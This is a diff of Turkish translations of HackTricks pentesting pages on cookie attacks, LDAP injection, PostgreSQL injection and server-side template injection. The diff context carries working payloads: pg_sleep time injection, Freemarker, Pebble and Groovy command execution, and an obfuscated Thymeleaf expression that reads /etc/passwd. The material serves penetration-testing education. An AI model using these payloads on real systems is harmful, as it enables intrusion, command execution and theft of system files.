* **Kullanıcı adını brute force** etmeye çalışın. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezinizin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır.
* **Kullanıcı adını brute force** etmeye çalışın. Eğer çerez yalnızca kullanıcı adınız için bir kimlik doğrulama yöntemi olarak kaydediliyorsa, o zaman "**Bmin**" kullanıcı adıyla bir hesap oluşturabilir ve çerezin her bir **bitini brute force** edebilirsiniz çünkü deneyeceğiniz çerezlerden biri "**admin**"e ait olan olacaktır.
* **Padding** **Oracle** denemesi yapın (çerezin içeriğini şifreleyebilirsiniz). **padbuster** kullanın.
**Padding Oracle - Padbuster örnekleri**

View file

@ -3,23 +3,23 @@
## LDAP Injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -33,16 +33,16 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png"
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu, saldırganların **LDAP ifadelerini** yerel bir proxy aracılığıyla manipüle etmesine olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
**LDAP Injection**, kullanıcı girdisinden LDAP ifadeleri oluşturan web uygulamalarını hedef alan bir saldırıdır. Uygulama, girişi **doğru bir şekilde temizlemediğinde** meydana gelir ve bu, saldırganların yerel bir proxy aracılığıyla **LDAP ifadelerini manipüle etmesine** olanak tanır; bu da yetkisiz erişim veya veri manipülasyonuna yol açabilir.
{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Filtre** = ( filtercomp )\
**Filtrecomp** = ve / veya / değil / öğe\
**Ve** = & filtrelist\
**Veya** = |filtrelist\
**Ve** = & filtrelistesi\
**Veya** = |filtrelistesi\
**Değil** = ! filtre\
**Filtrelist** = 1\*filtre\
**Filtrelistesi** = 1\*filtre\
**Öğe**= basit / mevcut / alt dize\
**Basit** = attr filtretipi assertionvalue\
**Filtretipi** = _'=' / '\~=' / '>=' / '<='_\
@ -224,15 +224,15 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,15 +9,15 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -45,12 +45,12 @@ PostgreSQL'den ana makineyi nasıl tehlikeye atacağınızı ve yetkileri nasıl
### PostgreSQL Dize işlevleri
Dizeleri manipüle etmek, **WAF'leri veya diğer kısıtlamaları atlatmanıza** yardımcı olabilir.\
Dizeleri manipüle etmek, **WAF'ları veya diğer kısıtlamaları atlatmanıza yardımcı olabilir**.\
[**Bu sayfada**](https://www.postgresqltutorial.com/postgresql-string-functions/) **bazı yararlı Dize işlevlerini bulabilirsiniz.**
### Yığılmış Sorgular
### Yığın Sorgular
PostgreSQL'in yığılmış sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde bir hata verecektir. Ancak, yine de zaman enjeksiyonu yoluyla yığılmış sorguları kötüye kullanabilirsiniz:
PostgreSQL'nin yığın sorguları desteklediğini unutmayın, ancak birçok uygulama yalnızca 1 yanıt beklerken 2 yanıt döndüğünde hata verecektir. Ancak, yığın sorguları Zaman enjeksiyonu aracılığıyla kötüye kullanmaya devam edebilirsiniz:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
Bu fonksiyon, tüm verileri yalnızca bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
Bu fonksiyon, tüm verileri tek bir dosyada XML formatında döndürecektir. Tek bir satırda çok fazla veri dökmek istiyorsanız idealdir:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Yasaklı alıntılar
Eğer yüklemeniz için alıntı kullanamıyorsanız, bunu `CHR` ile aşabilirsiniz (karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz):
Eğer yüklemeniz için alıntı kullanamıyorsanız, bunu `CHR` ile aşabilirsiniz. Temel ifadeler için (_karakter birleştirme yalnızca SELECT, INSERT, DELETE gibi temel sorgular için çalışır. Tüm SQL ifadeleri için çalışmaz_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
@ -97,23 +97,23 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hackleme öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,7 +1,9 @@
# SSTI (Server Side Template Injection)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
[https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpe](https://miro.medium.com/v2/resize:fit:640/format:webp/1\*3RO051EgizbEer-mdHD8Kg.jpeg)AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -9,7 +11,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -41,17 +43,23 @@ Sunucu tarafı şablon enjeksiyonu zafiyetlerini önlemek için, geliştiriciler
### Detection
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona bir dizi özel karakter (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
Sunucu Tarafı Şablon Enjeksiyonu (SSTI) tespit etmek için, başlangıçta **şablonu fuzzing** yapmak basit bir yaklaşımdır. Bu, şablona özel karakterlerin bir dizisini (**`${{<%[%'"}}%\`**) enjekte etmeyi ve sunucunun normal verilerle bu özel yük arasındaki yanıt farklılıklarını analiz etmeyi içerir. Zafiyet göstergeleri şunlardır:
* Zafiyeti ve potansiyel olarak şablon motorunu ortaya çıkaran hatalar.
* Yansımada yükün yokluğu veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.
* Yansımada yükün olmaması veya bazı kısımlarının eksik olması, sunucunun bunu normal verilerden farklı işlediğini ima eder.
* **Düz Metin Bağlamı**: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS'ten ayırt edin (örneğin, `{{7*7}}`, `${7*7}`).
* **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin.
* **Kod Bağlamı**: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin, `http://vulnerable-website.com/?greeting=data.username` içindeki `greeting` değerini değiştirerek sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu görmek için, `greeting=data.username}}hello` gibi bir yanıt alıp almadığını kontrol edin.
#### Identification Phase
Şablon motorunu tanımlamak, hata mesajlarını analiz etmeyi veya çeşitli dil spesifik yükleri manuel olarak test etmeyi içerir. Hatalara neden olan yaygın yükler arasında `${7/0}`, `{{7/0}}` ve `<%= 7/0 %>` bulunur. Matematiksel işlemlere sunucunun yanıtını gözlemlemek, belirli şablon motorunu belirlemeye yardımcı olur.
#### Identification by payloads
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
## Tools
### [TInjA](https://github.com/Hackmanit/TInjA)
@ -81,7 +89,7 @@ en etkili şablon enjeksiyonu poliglotlarını ve 44 en önemli şablon motorunu
### Generic
Bu **wordlist** içinde aşağıda belirtilen motorların bazı ortamlarında tanımlı **değişkenler** bulabilirsiniz:
Bu **wordlist** içinde aşağıda belirtilen bazı motorların ortamlarında **tanımlı değişkenler** bulabilirsiniz:
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@ -125,7 +133,7 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI()
```
**Freemarker - Sandbox atlatma**
⚠️ yalnızca 2.3.30'dan önceki Freemarker sürümlerinde çalışır
⚠️ yalnızca Freemarker 2.3.30'dan önceki sürümlerde çalışır
```java
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
@ -137,6 +145,8 @@ ${dwf.newInstance(ec,null)("id")}
* [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) adresindeki FreeMarker bölümünde
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker)
### Velocity (Java)
```java
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
@ -181,13 +191,13 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf, bu ifadelerin belirli nitelikler içinde yer almasını gerektirir. Ancak, _ifade iç içe geçirme_ diğer şablon konumları için desteklenir ve `[[...]]` veya `[(...)]` gibi sözdizimi kullanır. Bu nedenle, basit bir SSTI test yükü `[[${7*7}]]` gibi görünebilir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir ki bu da yaygın değildir.
Ancak, bu yükün çalışması olasılığı genellikle düşüktür. Thymeleaf'in varsayılan yapılandırması dinamik şablon oluşturmayı desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, şablonları anlık olarak dizelerden oluşturmak için kendi `TemplateResolver`'larını uygulamaları gerekir, bu da yaygın değildir.
Thymeleaf ayrıca, çift alt çizgi içinde (`__...__`) bulunan ifadelerin ön işleme tabi tutulduğu _ifade ön işleme_ sunar. Bu özellik, Thymeleaf'in belgelerinde gösterildiği gibi, ifadelerin inşasında kullanılabilir:
```java
#{selection.__${sel.code}__}
```
**Thymeleaf'deki Zafiyet Örneği**
**Thymeleaf'deki Zayıflık Örneği**
Aşağıdaki kod parçasını düşünün, bu istismar edilmeye açık olabilir:
```xml
@ -219,7 +229,7 @@ Birden fazla değişken ifadesi kullanılabilir, eğer `${...}` çalışmıyorsa
```java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
* Payload üretimi için Özel Script
* Ödeme oluşturma için Özel Script
```python
#!/usr/bin/python3
@ -267,11 +277,11 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
* `{{ someString.toUPPERCASE() }}`
Pebble'ın eski versiyonu ( < version 3.0.9):
Pebble'ın eski versiyonu ( < versiyon 3.0.9):
```java
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
```
Yeni Pebble sürümü:
Yeni Pebble sürümü :
```java
{% raw %}
{% set cmd = 'id' %}
@ -298,7 +308,7 @@ Yeni Pebble sürümü:
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
```
Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur.
Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) adresinde mevcuttur.
**Jinjava - Komut yürütme**
@ -318,9 +328,9 @@ Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, [https
### Hubspot - HuBL (Java)
* `{% %}` ifade ayırıcıları
* `{{ }}` ifade ayırıcıları
* `{# #}` yorum ayırıcıları
* `{% %}` ifade sınırlayıcıları
* `{{ }}` ifade sınırlayıcıları
* `{# #}` yorum sınırlayıcıları
* `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
* `{{'a'.toUpperCase()}}` - "A"
* `{{'a'.concat('b')}}` - "ab"
@ -328,7 +338,7 @@ Jinjava, Hubspot tarafından geliştirilen açık kaynaklı bir projedir, [https
* `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest
* `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapın ve [Jinjava projesini Github'da](https://github.com/HubSpot/jinjava/) keşfedin.
"com.hubspot.content.hubl.context.TemplateContextRequest" için arama yapıldı ve [Jinjava projesi Github'da](https://github.com/HubSpot/jinjava/) keşfedildi.
```java
{{request.isDebug()}}
//output: False
@ -381,13 +391,13 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* `${{7*7}}` - 49
* `${{request}}, ${{session}}, {{faceContext}}`
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılmaktadır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
İfade Dili (EL), JavaEE'de sunum katmanı (web sayfaları gibi) ile uygulama mantığı (yönetilen bean'ler gibi) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi kolaylaştırmak için çok sayıda JavaEE teknolojisinde yaygın olarak kullanılır. EL'yi kullanan ana JavaEE teknolojileri şunlardır:
* **JavaServer Faces (JSF)**: JSF sayfalarındaki bileşenleri ilgili arka uç verileri ve eylemleri ile bağlamak için EL kullanır.
* **JavaServer Pages (JSP)**: JSP sayfalarında verileri erişmek ve manipüle etmek için EL kullanılır, bu da sayfa öğelerini uygulama verileriyle bağlamayı kolaylaştırır.
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: EL, web katmanı ile yönetilen bean'ler arasında kesintisiz etkileşimi sağlamak için CDI ile entegre olur, böylece daha tutarlı bir uygulama yapısı sağlar.
**EL yorumlayıcılarının** istismarını öğrenmek için aşağıdaki sayfayı kontrol edin:
**EL yorumlayıcılarının istismarı** hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
{% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md)
@ -420,9 +430,15 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value=
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
```
### Diğer Java
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
* Daha fazla bilgi için [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
@ -490,7 +506,7 @@ array("first_name" => $user.first_name)
### Plates (PHP)
Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi tanıtan Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.
Plates, Twig'den ilham alan PHP'ye özgü bir şablon motorudur. Ancak, yeni bir sözdizimi getiren Twig'in aksine, Plates şablonlarda yerel PHP kodunu kullanarak PHP geliştiricileri için sezgisel hale getirir.
Controller:
```php
@ -507,7 +523,7 @@ Sayfa şablonu:
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Layout şablonu:
Düzen şablonu:
```html
<html>
<head>
@ -584,6 +600,12 @@ echo $t->finish($t->parse('OUT', 'authors'));
